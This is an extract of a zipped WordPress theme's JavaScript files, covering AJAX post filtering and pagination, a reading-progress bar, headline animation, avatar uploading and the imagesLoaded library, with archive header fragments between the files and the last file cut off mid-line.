                                    wrapper.find('.pwsl-id-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-pagednum', data_paded + 1);
                                }

                                wrapper.find('.pcsl-wrapper').hide();
                                wrapper.find('.pwsl-id-' + wrapId).show();
                                wrapper.removeClass('loading-posts pcftaj-ld');
                                $this.removeClass('loading-posts');
                                $navthis.removeClass('loading-posts');

                                var o = 0;
                                wrapper.find('.pwsl-id-' + wrapId + ' .pcsl-item').each(function () {
                                    o++;
                                    $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                                });
                                $(document).trigger('pajax-tab-loaded');
                                $(document).trigger('penci_bf_check');
                            } else {
                                wrapper.find('.pcsl-wrapper').hide();
                                wrapper.append('<div class="penci-smalllist pcsl-wrapper pwsl-id-' + wrapId + '"></div>');
                                wrapper.find('.pwsl-id-' + wrapId).append('<div class="pcajx-nopost"><span>No post found !</span></div>');
                                wrapper.find('.pwsl-id-' + wrapId).show();
                                wrapper.removeClass('loading-posts pcftaj-ld');
                                $this.removeClass('loading-posts');
                                $navthis.removeClass('loading-posts');
                            }
                        }
                    });
                }
            }
        });
    }

    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    }

    penciGetsListData();

    $('body').on('penci-small-list-loaded', function () {
        penciGetsListData();
    });
});
PK     N\|"f>  >    js/get_user.jsnu [        (function ($) {
  'use strict'
  $('.penci_extra_author_ajax_id').select2({
    width: '270px',
    placeholder: {
      id: "",
      text: '-- Select User --',
    },
    allowClear: true,
    ajax: {
      url: penci_adm_users.ajax,
      data: function (params) {
        var query = {
          search: params.term,
          action: 'penci_get_users',
          nonce: penci_adm_users.nonce,
        }
        return query
      },
      processResults: function (response) {
        return {
          results: response.data,
        }
      },
    },
  })
})(jQuery)PK     N\ygq  q    js/header-scroll.jsnu [        (function($) {
  'use strict';
  var PENCI = PENCI || {};
  /* Single Post Scroll
 ---------------------------------------------------------------*/
  PENCI.singlepoststyle = function() {
    if (!$('body').hasClass('single')) {
      return;
    }

    if ( ajax_var_more.reading_bar_pos === 'side' ) {
      return;
    }
    
    if (!$('body').find('.pencihd-iscroll-bar').length) {
      $('body').prepend('<span class="pencihd-iscroll-bar"></span>');
    }
    
    $('.pencihd-iscroll-bar').css({
      position: 'fixed',
      left: 0,
      width: 0,
      height: parseInt(ajax_var_more.reading_bar_h),
      backgroundColor: 'var(--pcaccent-cl)',
      zIndex: 999999999999,
    });
    
    if (ajax_var_more.reading_bar_pos === 'header') {
      $('.pencihd-iscroll-bar').css({
        top: 0,
      });
    } else {
      $('.pencihd-iscroll-bar').css({
        bottom: 0,
      });
    }
    
    if ($('body').hasClass('rtl')) {
      $('.pencihd-iscroll-bar').css({
        left: 'auto',
        right: 0,
      });
    }
  };

  PENCI.singlepostside = function() {
    if (!$('body').hasClass('single')) {
      return;
    }
    if ( ajax_var_more.reading_bar_pos !== 'side' ) {
      return;
    }
    if (!$('body').find('.pencihd-progress-container').length) {
      $('body').prepend('<div class="pencihd-progress-container"><svg viewBox="0 0 100 100"><circle class="bg" cx="50" cy="50" r="45"></circle><circle class="progress" cx="50" cy="50" r="45"></circle></svg></div>');
    }
  }

  PENCI.singlepostscrollin = function() {
    
    $('article.post').bind('inview', function (event, visible, topOrBottomOrBoth) {
      if (visible == true) {
        var t = $(this),
            total = 0,
            h = 0,
            entry_content = t.find('.entry-content'),
            e_top = entry_content.offset().top,
            header_h = $('.penci-header-wrap').outerHeight(),
            bottom = e_top + header_h,
            stop = 0,
            progressCircle = $('.pencihd-progress-container .progress'),
            circumference = 2 * Math.PI * 45;
  
        t.addClass('inview');
  
        setTimeout(function() {
          h = entry_content.get(0).getBoundingClientRect().height;
          bottom = bottom + h;
        }, 100);

        if ( ajax_var_more.reading_bar_pos == 'side' ) {
          progressCircle.css("stroke-dasharray", circumference);
        }
  
        $(window).scroll(function(e) {
          stop = $(window).scrollTop() + header_h;

          if ( ajax_var_more.reading_bar_pos == 'side' ) {
            var progress = bottom > 0 ? (stop / bottom) * 100 : 0;
            var offset = circumference - (progress / 100) * circumference;
            offset = offset < 0 ? 0 : offset;
            progressCircle.css("stroke-dashoffset", offset);
          } else {
            if (stop > e_top && stop < bottom) {
              total = ((stop - e_top) / (bottom - e_top)) * 100;
              $('.pencihd-iscroll-bar').css('width', total + '%');
            } else {
              $('.pencihd-iscroll-bar').css('width', '0%');
            }
        }


        });
      } else {
        $(this).removeClass('inview');
      }
    });
    
  };
  
  $(document).ready(function() {
    PENCI.singlepostscrollin();
    PENCI.singlepoststyle();
    PENCI.singlepostside();
    $('body').on('single_loaded_more', function() {
      PENCI.singlepostscrollin();
    });
  });
})(jQuery); // EOFPK     N\?h!  !    js/heading-animates-wb.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.HeadingAnimateText = function () {
        $('.penci-animated-headline').each(function (e) {
            var wrapper = $(this),
                dynamic = $(this).find('.dynamic-wrapper');

            if ("rotating" == wrapper.data("style")) {
                const e = wrapper.data("rotate"), t = dynamic.find(".dynamic-text");
                if (t.length > 0) {
                    const n = t.first();
                    ["typing", "swirl", "blinds", "wave"].includes(e) ? animateText(n, getNextText(n)) : showText(n, getNextText(n))
                }
            }


            function animateText(e, t) {
                dynamic.removeClass("typing-delete"), e.addClass("show-text"), dynamic.removeClass("cursor-blink"), animateLetter(e.find(".dynamic-text-letter").first(), e, t)
            }

            function animateLetter(e, t, n) {
                var s = $(this), i = wrapper.data("letter-speed");
                e.addClass("show-letter"), setTimeout((function () {
                    e.is(":last-child") ? hideText(t, n) : animateLetter(e.next(), t, n)
                }), i)
            }

            function getNextText(e) {
                return e.is(":last-child") ? dynamic.find(".dynamic-text").first() : e.next()
            }

            function hideText(e, t) {
                const n = $(this), s = wrapper.data("rotate"), i = wrapper.data("delay");
                dynamic.addClass("cursor-blink"), setTimeout((function () {
                    if ("typing" == s) {
                        const s = wrapper.data("delay-delete");
                        dynamic.addClass("typing-delete"), setTimeout((function () {
                            e.removeClass("show-text"), e.find(".dynamic-text-letter").removeClass("show-letter"), animateText(t, getNextText(t))
                        }), s)
                    } else e.removeClass("show-text"), e.find(".dynamic-text-letter").removeClass("show-letter"), animateText(t, getNextText(t))
                }), i)
            }

            function showText(e, t) {
                const n = $(this), s = wrapper.data("delay"), i = wrapper.data("rotate");
                if (e.addClass("show-text"), "clip" == i) {
                    const i = wrapper.data("clip-duration");
                    dynamic.width(e.width() + 10), dynamic.animate({width: 0}, i / 2, (function () {
                        e.removeClass("show-text"), t.addClass("show-text"), dynamic.animate({width: t.width() + 10}, i / 2, (function () {
                            setTimeout((function () {
                                e.removeClass("show-text"), showText(t, getNextText(t))
                            }), s)
                        }))
                    }))
                } else dynamic.width(e.width()), setTimeout((function () {
                    e.removeClass("show-text"), showText(t, getNextText(t))
                }), s)
            }
        });

    }
    $(document).ready(function () {
        PENCI.HeadingAnimateText();
    });
})(jQuery);PK     N\^F]  ]    js/avatars.jsnu [        (()=>{let a,e,t,r,i,l,s,o,n,c=!1;function m(a){void 0===e&&(t=document.getElementById("penci-avatar-ratings"),e=jQuery(document.getElementById("penci-avatar-spinner")),r=document.getElementById("penci-avatar-photo"),i=jQuery(t).closest("form").find("input[type=submit]")),"unlock"===a?(c=!1,i.removeAttr("disabled"),e.hide()):(c=!0,i.attr("disabled","disabled"),e.show())}function p(a,e){const t=e.get("control"),r=a.get("width"),i=a.get("height");let l=parseInt(t.params.width,10),s=parseInt(t.params.height,10);const o=l/s;e.set("canSkipCrop",!0);const n=l,c=s;r/i>o?(s=i,l=s*o):(l=r,s=l/o);const m=(r-l)/2,p=(i-s)/2;return{handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:r,imageHeight:i,minWidth:n>l?l:n,minHeight:c>s?s:c,x1:m,y1:p,x2:l+m,y2:s+p,aspectRatio:`${l}:${s}`}}function d(a,e,i,l){const s={};s.url=a,s.thumbnail_url=a,s.timestamp=_.now(),e&&(s.attachment_id=e),i&&(s.width=i),l&&(s.height=l),m("lock"),jQuery.post(i10n_PenciAvatars.ajaxurl,{action:"assign_penci_avatar_media",media_id:e,user_id:i10n_PenciAvatars.user_id,_wpnonce:i10n_PenciAvatars.mediaNonce}).done((function(a){""!==a&&(r.innerHTML=a,jQuery("#penci-avatar-remove").show(),t.disabled=!1)})).always((function(){m("unlock")}))}jQuery(document).ready((function(e){s=e("#penci-avatar"),l=e("#penci-avatar-photo img"),n=l.attr("src"),t=e("#penci-avatar-ratings"),r=e("#penci-avatar-photo"),e("#penci-avatar-media").on("click",(function(e){if(e.preventDefault(),c)return;const i={id:"control-id",params:{flex_width:!0,flex_height:!0,width:200,height:200}};a=wp.media({button:{text:i10n_PenciAvatars.selectCrop,close:!1},states:[new wp.media.controller.Library({title:i10n_PenciAvatars.selectCrop,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:200,suggestedHeight:200}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:p,control:i})]}),a.on("cropped",(function(a){const{url:e}=a;d(e,a.id,a.width,a.height)})),a.on("skippedcrop",(function(a){const e=a.get("url"),t=a.get("width"),r=a.get("height");d(e,a.id,t,r)})),a.on("select",(function(){const e=a.state().get("selection").first().toJSON();var l;i.params.width!==e.width||i.params.height!==e.height||i.params.flex_width||i.params.flex_height?a.setState("cropper"):(e.dst_width=e.width,e.dst_height=e.height,l=e,m("lock"),jQuery.post(i10n_PenciAvatars.ajaxurl,{action:"assign_penci_avatar_media",media_id:l.id,user_id:i10n_PenciAvatars.user_id,_wpnonce:i10n_PenciAvatars.mediaNonce}).done((function(a){""!==a&&(r.innerHTML=a,jQuery("#penci-avatar-remove").show(),t.disabled=!1,m("unlock"))})).always((function(){m("unlock")})),a.close())})),a.open()})),e("#penci-avatar-remove").on("click",(function(a){a.preventDefault(),c||(m("lock"),e.get(i10n_PenciAvatars.ajaxurl,{action:"remove_penci_avatar",user_id:i10n_PenciAvatars.user_id,_wpnonce:i10n_PenciAvatars.deleteNonce}).done((function(a){""!==a&&(r.innerHTML=a,e("#penci-avatar-remove").hide(),t.disabled=!0)})).always((function(){m("unlock")})))})),s.on("change",(function(a){l.attr("srcset",""),l.attr("height","auto"),URL.revokeObjectURL(o),a.target.files.length>0?(o=URL.createObjectURL(a.target.files[0]),l.attr("src",o)):l.attr("src",n)})),e(document.getElementById("penci-avatars-migrate-from-wp-user-avatar")).on("click",(function(a){a.preventDefault(),jQuery.post(i10n_PenciAvatars.ajaxurl,{action:"migrate_from_wp_user_avatar",migrateFromWpUserAvatarNonce:i10n_PenciAvatars.migrateFromWpUserAvatarNonce}).always((function(){e(".penci-avatars-migrate-from-wp-user-avatar-progress").empty(),e(".penci-avatars-migrate-from-wp-user-avatar-progress").text(i10n_PenciAvatars.migrateFromWpUserAvatarProgress)})).done((function(a){e(".penci-avatars-migrate-from-wp-user-avatar-progress").empty();const t=e.parseJSON(a).count;0===t&&e(".penci-avatars-migrate-from-wp-user-avatar-progress").text(i10n_PenciAvatars.migrateFromWpUserAvatarFailure),t>0&&e(".penci-avatars-migrate-from-wp-user-avatar-progress").text(i10n_PenciAvatars.migrateFromWpUserAvatarSuccess+": "+t),setTimeout((function(){e(".penci-avatars-migrate-from-wp-user-avatar-progress").empty()}),5e3)}))}));const i=e("#clear_cache_btn"),u=e("#clear_cache_message"),v=e("#penci-avatar-default"),g=e("#penci-avatar-file-url"),h=e("#penci-avatar-file-id");function _(){i.find("span").remove(),i.removeClass("disabled")}function f(a,t){t.step=a,e.ajax({url:i10n_PenciAvatars.ajaxurl,dataType:"json",data:t,method:"POST",success:function(a){if(a.success)return"done"===a.data.step?(u.text(a.data.message),_()):(u.text(a.data.message),f(parseInt(a.data.step,10),t)),!1;u.text(i10n_PenciAvatars.clearCacheError),_()},error:function(){u.text(i10n_PenciAvatars.clearCacheError),_()}})}if(i.on("click",(function(a){a.preventDefault(),i.addClass("disabled"),i.append('<span class="spinner is-active" style="margin-left:5px;margin-right:0;"></span>'),f(1,{action:"sla_clear_user_cache",nonce:i10n_PenciAvatars.cacheNonce})})),v.click((function(a){a.preventDefault();var t=e(this),r=wp.media({title:i10n_PenciAvatars.insertMediaTitle,multiple:!1,library:{type:"image"}}).open().on("select",(function(a){var e=r.state().get("selection").first(),i=(e=e.toJSON())?.sizes?.thumbnail?.url;void 0===i&&(i=e.url);var l=t.parent().find("img.avatar");l.show(),l.attr("src",i),l.attr("srcset",i),g.val(i),h.val(e.id)}))})),g.length&&""!==g.val()){var w=g.parent().find("img.avatar");w.attr("src",g.val()),w.attr("srcset",g.val())}""===h.val()&&h.parent().find("img.avatar").hide()}))})();
PK     N\X6-  -    js/ajax-filter-fcat.jsnu [        jQuery(document).ready(function ($) {
    $('.penci-featured-cat-sc').each(function () {
        if ($(this).find('.pcflx-nav').length > 0) {
            var maxnum = $(this).find('.pcflx li.all a').attr('data-maxp');
            if (parseInt(maxnum) <= 1) {
                $(this).find('.pcflx-nav .pcaj-nav-link').addClass('disable');
            }
        }
    });
    jQuery('body').on('click', '.penci-featured-cat-sc .pc-ajaxfil-link', function (event) {
        event.preventDefault();
        if (!$(this).hasClass('loading-posts')) {
            var $this = $(this),
                $navthis = $this,
                wrapId = $this.data('id'),
                parentclass = $(this).closest('.pcnav-lgroup'),
                wrapper = $(this).closest('.penci-featured-cat-sc').find('.home-featured-cat-wrapper'),
                tag = $this.data('tag'),
                cat = $this.data('cat'),
                author = $this.data('author'),
                navlink = false,
                prev,
                pagednum = parseInt($this.attr('data-paged')),
                curpaged = pagednum,
                dataFilter,
                $wrap_content_id = wrapper.find('.pwf-id-' + wrapId),
                OBjBlockData = penciGetOBjBlockData(parentclass.data('blockid'));

            if (OBjBlockData.atts_json) {
                var sanitizedJsonString = OBjBlockData.atts_json.replace(/[\u0000-\u001F]/g, '');
                
                try {
                    dataFilter = JSON.parse(sanitizedJsonString);
                } catch (e) {
                    console.error("Error parsing JSON:", e);
                }
            } else {
                dataFilter = OBjBlockData.atts_json;
            }

            $this.addClass('loading-posts');

            wrapper.addClass('loading-posts pcftaj-ld');

            if ($this.hasClass('pcaj-nav-link')) {
                navlink = true;
            }

            if (navlink && $this.hasClass('prev')) {
                prev = true;
            }

            if (navlink) {
                $this = parentclass.find('.current-item');
                wrapId = $this.data('id');
                cat = $this.data('cat');
                tag = $this.data('tag');

                curpaged = parseInt($this.attr('data-paged'));


                if (prev) {
                    pagednum = curpaged - 1;
                } else {
                    pagednum = curpaged + 1;
                }
            }

            if (!navlink) {
                parentclass.find('.pc-ajaxfil-link').removeClass('current-item');
                $this.addClass('current-item');
            }

            if ($wrap_content_id.length && !navlink) {
                wrapper.find('.home-featured-cat-content').hide();
                wrapper.find('.pwf-id-' + wrapId).show();
                wrapper.removeClass('loading-posts pcftaj-ld');
                $this.removeClass('loading-posts');
                $navthis.removeClass('loading-posts');

                if (curpaged <= 1) {
                    parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                } else {
                    parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                }

                var maxp = undefined;
                if (wrapId == 'default') {
                    maxp = parentclass.find('li.all .pc-ajaxfil-link').attr('data-maxp');
                }

                if ($wrap_content_id.hasClass('pc-nomorepost') || parseInt(maxp) <= 1) {
                    parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                } else {
                    parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                }

                var o = 0;
                $wrap_content_id.find('.hentry').each(function () {
                    o++;
                    $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                });

            } else {

                var data = {
                    action: 'penci_more_featured_post_ajax',
                    datafilter: dataFilter,
                    id: wrapId,
                    tag: tag,
                    cat: cat,
                    author: author,
                    pagednum: pagednum,
                    nonce: pcfcat_ajax.nonce,
                };

                $.ajax({
                    type: "POST",
                    dataType: "html",
                    url: ajax_var_more.url,
                    data: data,
                    success: function (data) {
                        if (data) {

                            var data_paded = curpaged;

                            if (navlink) {
                                wrapper.find('.pwf-id-' + wrapId).remove();
                                data_paded = curpaged + 1;
                            }

                            if (prev) {
                                data_paded = curpaged - 1;
                            }

                            if (data_paded <= 1) {
                                parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                            } else {
                                parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                            }

                            wrapper.append(data);

                            if ($('.pwf-id-' + wrapId).hasClass('pc-nomorepost')) {
                                parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                            }

                            $this.attr('data-paged', data_paded);


                            $(".home-featured-cat-wrapper").fitVids();

                            $('body').trigger( 'penci_swiper_sliders' );

                            if ($().easyPieChart) {
                                $('.penci-piechart').each(function () {
                                    var $this = $(this);
                                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                        var chart_args = {
                                            barColor: $this.data('color'),
                                            trackColor: $this.data('trackcolor'),
                                            scaleColor: false,
                                            lineWidth: $this.data('thickness'),
                                            size: $this.data('size'),
                                            animate: 1000
                                        };
                                        $this.easyPieChart(chart_args);
                                    }); // bind inview
                                }); // each
                            }

                            var $justified_gallery = $('.penci-post-gallery-container.justified');
                            var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                            if ($().justifiedGallery && $justified_gallery.length) {
                                $('.penci-post-gallery-container.justified').each(function () {
                                    var $this = $(this);
                                    $this.justifiedGallery({
                                        rowHeight: $this.data('height'),
                                        lastRow: 'nojustify',
                                        margins: $this.data('margin'),
                                        randomize: false
                                    });
                                }); // each .penci-post-gallery-container
                            }

                            if ($().isotope && $masonry_gallery.length) {

                                $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                    var $this = $(this);
                                    if ($this.attr('title')) {
                                        var $title = $this.attr('title');
                                        $this.children().append('<div class="caption">' + $title + '</div>');
                                    }
                                });
                            }

                            if ($masonry_gallery.length) {
                                $masonry_gallery.each(function () {
                                    var $this = $(this);
                                    $this.imagesLoaded(function () {
                                        // initialize isotope
                                        $this.isotope({
                                            itemSelector: '.item-gallery-masonry',
                                            transitionDuration: '.55s',
                                            layoutMode: 'masonry'
                                        });

                                        $this.addClass('loaded');

                                        $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                            var $this = $(this);
                                            $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                $this.addClass('animated');
                                            }); // inview
                                        }); // each
                                    });
                                });
                            }

                            if ($().theiaStickySidebar) {
                                var top_margin = 90;
                                if ($('body').hasClass('admin-bar')) {
                                    top_margin = 122;
                                }
                                $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                    // settings
                                    additionalMarginTop: top_margin
                                });
                            } // if sticky

                            wrapper.find('.home-featured-cat-content').hide();
                            wrapper.find('.pwf-id-' + wrapId).show();
                            wrapper.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');
                            $(document).trigger('penci_bf_check');

                            var o = 0;
                            wrapper.find('.pwf-id-' + wrapId + ' .hentry').each(function () {
                                o++;
                                $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                            });
                        }
                    }
                });
            }
        }
    });

    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    }
});
PK     N\6       js/archive_ajax_navigation.jsnu [        (function ($) {
	"use strict";

	var PENCI = PENCI || {};

	PENCI.loadMorePostAjx = function () {
		var $body = $("body"),
			layout = PCAJXNAV.layout;

		$(document).pjax(".penci-pagination a", {
			timeout: 10000,
			container: ".penci-main-sticky-sidebar",
			fragment: ".penci-main-sticky-sidebar",
			replace: true,
		});

		$( document ).on( 'pjax:send', function ( xhr, options ) {
			var mainClass = $( xhr.relatedTarget ), 
				bodyClass = $( mainClass ).closest( 'body' )

			if ( $( 'body' ).hasClass('woocommerce') ) {
				return;
			}

			$( 'body' ).addClass( 'loading-posts' );
			window.scrollTo({top: 0, behavior: 'smooth'});
			
		} )

		$(document).on("pjax:complete", function () {
			if (layout === "masonry" || layout === "masonry-2") {
				$('.penci-wrapper-data').imagesLoaded(function () {
					$('.penci-wrapper-data').isotope({
						itemSelector: '.item-masonry',
						transitionDuration: '.55s',
						layoutMode: 'masonry',
					});
				});

				if ($().fitVids) {
					$(".container").fitVids();
				}
				if ($().easyPieChart) {
					$(".penci-piechart").each(function () {
						var $this = $(this);
						$this.one(
							"inview",
							function (
								event,
								isInView,
								visiblePartX,
								visiblePartY
							) {
								var chart_args = {
									barColor: $this.data("color"),
									trackColor: $this.data("trackcolor"),
									scaleColor: false,
									lineWidth: $this.data("thickness"),
									size: $this.data("size"),
									animate: 1000,
								};
								$this.easyPieChart(chart_args);
							}
						); // bind inview
					}); // each
				}
			} else {
				if ($().fitVids) {
					$(".container").fitVids();
				}

				$("body").trigger("penci_swiper_sliders");

				if ($().easyPieChart) {
					$(".penci-piechart").each(function () {
						var $this = $(this);
						$this.one(
							"inview",
							function (
								event,
								isInView,
								visiblePartX,
								visiblePartY
							) {
								var chart_args = {
									barColor: $this.data("color"),
									trackColor: $this.data("trackcolor"),
									scaleColor: false,
									lineWidth: $this.data("thickness"),
									size: $this.data("size"),
									animate: 1000,
								};
								$this.easyPieChart(chart_args);
							}
						); // bind inview
					}); // each
				}

				var $justified_gallery = $(
					".penci-post-gallery-container.justified"
				);
				var $masonry_gallery = $(
					".penci-post-gallery-container.masonry"
				);
				if ($().justifiedGallery && $justified_gallery.length) {
					$(".penci-post-gallery-container.justified").each(
						function () {
							var $this = $(this);
							$this.justifiedGallery({
								rowHeight: $this.data("height"),
								lastRow: "nojustify",
								margins: $this.data("margin"),
								randomize: false,
							});
						}
					); // each .penci-post-gallery-container
				}

				if ($().isotope && $masonry_gallery.length) {
					$(
						".penci-post-gallery-container.masonry .item-gallery-masonry"
					).each(function () {
						var $this = $(this);
						if ($this.attr("title")) {
							var $title = $this.attr("title");
							$this
								.children()
								.append(
									'<div class="caption">' + $title + "</div>"
								);
						}
					});
				}

				if ($masonry_gallery.length) {
					$masonry_gallery.each(function () {
						var $this = $(this);
						$this.imagesLoaded(function () {
							// initialize isotope
							$this.isotope({
								itemSelector: ".item-gallery-masonry",
								transitionDuration: ".55s",
								layoutMode: "masonry",
							});

							$this.addClass("loaded");

							$(
								".penci-post-gallery-container.masonry .item-gallery-masonry"
							).each(function () {
								var $this = $(this);
								$this.one(
									"inview",
									function (
										event,
										isInView,
										visiblePartX,
										visiblePartY
									) {
										$this.addClass("animated");
									}
								); // inview
							}); // each
						});
					});
				}

				if ($().theiaStickySidebar) {
					var top_margin = 90;
					if ($("body").hasClass("admin-bar")) {
						top_margin = 122;
					}
					$(
						"#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar"
					).theiaStickySidebar({
						// settings
						additionalMarginTop: top_margin,
					});
				} // if sticky
			}
			$("body").trigger("penci_swiper_sliders");
			$body.removeClass("loading-posts");
			$(document).trigger("penci_bf_check");
		});
	};

	$(document).ready(function () {
		PENCI.loadMorePostAjx();
	});
})(jQuery);
PK     N\^yA  A    js/imagesloaded.pkgd.jsnu [        /*!
 * imagesLoaded PACKAGED v4.1.1
 * JavaScript is all like "You images are done yet or what?"
 * MIT License
 */

!function(t,e){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",e):"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,function(){function t(){}var e=t.prototype;return e.on=function(t,e){if(t&&e){var i=this._events=this._events||{},n=i[t]=i[t]||[];return-1==n.indexOf(e)&&n.push(e),this}},e.once=function(t,e){if(t&&e){this.on(t,e);var i=this._onceEvents=this._onceEvents||{},n=i[t]=i[t]||{};return n[e]=!0,this}},e.off=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=i.indexOf(e);return-1!=n&&i.splice(n,1),this}},e.emitEvent=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=0,o=i[n];e=e||[];for(var r=this._onceEvents&&this._onceEvents[t];o;){var s=r&&r[o];s&&(this.off(t,o),delete r[o]),o.apply(this,e),n+=s?0:1,o=i[n]}return this}},t}),function(t,e){"use strict";"function"==typeof define&&define.amd?define(["ev-emitter/ev-emitter"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter")):t.imagesLoaded=e(t,t.EvEmitter)}(window,function(t,e){function i(t,e){for(var i in e)t[i]=e[i];return t}function n(t){var e=[];if(Array.isArray(t))e=t;else if("number"==typeof t.length)for(var i=0;i<t.length;i++)e.push(t[i]);else e.push(t);return e}function o(t,e,r){return this instanceof o?("string"==typeof t&&(t=document.querySelectorAll(t)),this.elements=n(t),this.options=i({},this.options),"function"==typeof e?r=e:i(this.options,e),r&&this.on("always",r),this.getImages(),h&&(this.jqDeferred=new h.Deferred),void setTimeout(function(){this.check()}.bind(this))):new o(t,e,r)}function r(t){this.img=t}function s(t,e){this.url=t,this.element=e,this.img=new Image}var h=t.jQuery,a=t.console;o.prototype=Object.create(e.prototype),o.prototype.options={},o.prototype.getImages=function(){this.images=[],this.elements.forEach(this.addElementImages,this)},o.prototype.addElementImages=function(t){"IMG"==t.nodeName&&this.addImage(t),this.options.background===!0&&this.addElementBackgroundImages(t);var e=t.nodeType;if(e&&d[e]){for(var i=t.querySelectorAll("img"),n=0;n<i.length;n++){var o=i[n];this.addImage(o)}if("string"==typeof this.options.background){var r=t.querySelectorAll(this.options.background);for(n=0;n<r.length;n++){var s=r[n];this.addElementBackgroundImages(s)}}}};var d={1:!0,9:!0,11:!0};return o.prototype.addElementBackgroundImages=function(t){var e=getComputedStyle(t);if(e)for(var i=/url\((['"])?(.*?)\1\)/gi,n=i.exec(e.backgroundImage);null!==n;){var o=n&&n[2];o&&this.addBackground(o,t),n=i.exec(e.backgroundImage)}},o.prototype.addImage=function(t){var e=new r(t);this.images.push(e)},o.prototype.addBackground=function(t,e){var i=new s(t,e);this.images.push(i)},o.prototype.check=function(){function t(t,i,n){setTimeout(function(){e.progress(t,i,n)})}var e=this;return this.progressedCount=0,this.hasAnyBroken=!1,this.images.length?void this.images.forEach(function(e){e.once("progress",t),e.check()}):void this.complete()},o.prototype.progress=function(t,e,i){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!t.isLoaded,this.emitEvent("progress",[this,t,e]),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,t),this.progressedCount==this.images.length&&this.complete(),this.options.debug&&a&&a.log("progress: "+i,t,e)},o.prototype.complete=function(){var t=this.hasAnyBroken?"fail":"done";if(this.isComplete=!0,this.emitEvent(t,[this]),this.emitEvent("always",[this]),this.jqDeferred){var e=this.hasAnyBroken?"reject":"resolve";this.jqDeferred[e](this)}},r.prototype=Object.create(e.prototype),r.prototype.check=function(){var t=this.getIsImageComplete();return t?void this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,this.proxyImage.addEventListener("load",this),this.proxyImage.addEventListener("error",this),this.img.addEventListener("load",this),this.img.addEventListener("error",this),void(this.proxyImage.src=this.img.src))},r.prototype.getIsImageComplete=function(){return this.img.complete&&void 0!==this.img.naturalWidth},r.prototype.confirm=function(t,e){this.isLoaded=t,this.emitEvent("progress",[this,this.img,e])},r.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},r.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},r.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},r.prototype.unbindEvents=function(){this.proxyImage.removeEventListener("load",this),this.proxyImage.removeEventListener("error",this),this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},s.prototype=Object.create(r.prototype),s.prototype.check=function(){this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.img.src=this.url;var t=this.getIsImageComplete();t&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},s.prototype.unbindEvents=function(){this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},s.prototype.confirm=function(t,e){this.isLoaded=t,this.emitEvent("progress",[this,this.element,e])},o.makeJQueryPlugin=function(e){e=e||t.jQuery,e&&(h=e,h.fn.imagesLoaded=function(t,e){var i=new o(this,t,e);return i.jqDeferred.promise(h(this))})},o.makeJQueryPlugin(),o});PK     N\{"(  (    js/admin-post.jsnu [        (function(e){"use strict";let a=e("#timestampmodifieddiv");a.siblings("a.edit-timestampmodified").click(function(i){a.is(":hidden")&&(a.slideDown("fast",function(){e("input, select",a.find(".timestamp-wrap")).first().focus()}),e(this).hide()),i.preventDefault()}),a.find(".cancel-timestamp").click(function(t){a.slideUp("fast").siblings("a.edit-timestampmodified").show().focus(),e("#mmm").val(e("#hidden_mmm").val()),e("#jjm").val(e("#hidden_jjm").val()),e("#aam").val(e("#hidden_aam").val()),e("#hhm").val(e("#hidden_hhm").val()),e("#mnm").val(e("#hidden_mnm").val()),i(),e("#pcmdate-change-modified ").val("no"),t.preventDefault()}),a.find(".save-timestamp").click(function(t){e("#pcmdate-change-modified").val("yes"),i()&&(a.slideUp("fast"),a.siblings("a.edit-timestampmodified").show().focus()),t.preventDefault()}),e("#post").on("submit",function(t){i()||(t.preventDefault(),a.show(),wp.autosave&&wp.autosave.enableButtons(),e("#publishing-action .spinner").removeClass("is-active"))});var i=function(){if(!a.length)return!0;var i="%1$s %2$s, %3$s "+a.data("separator")+" 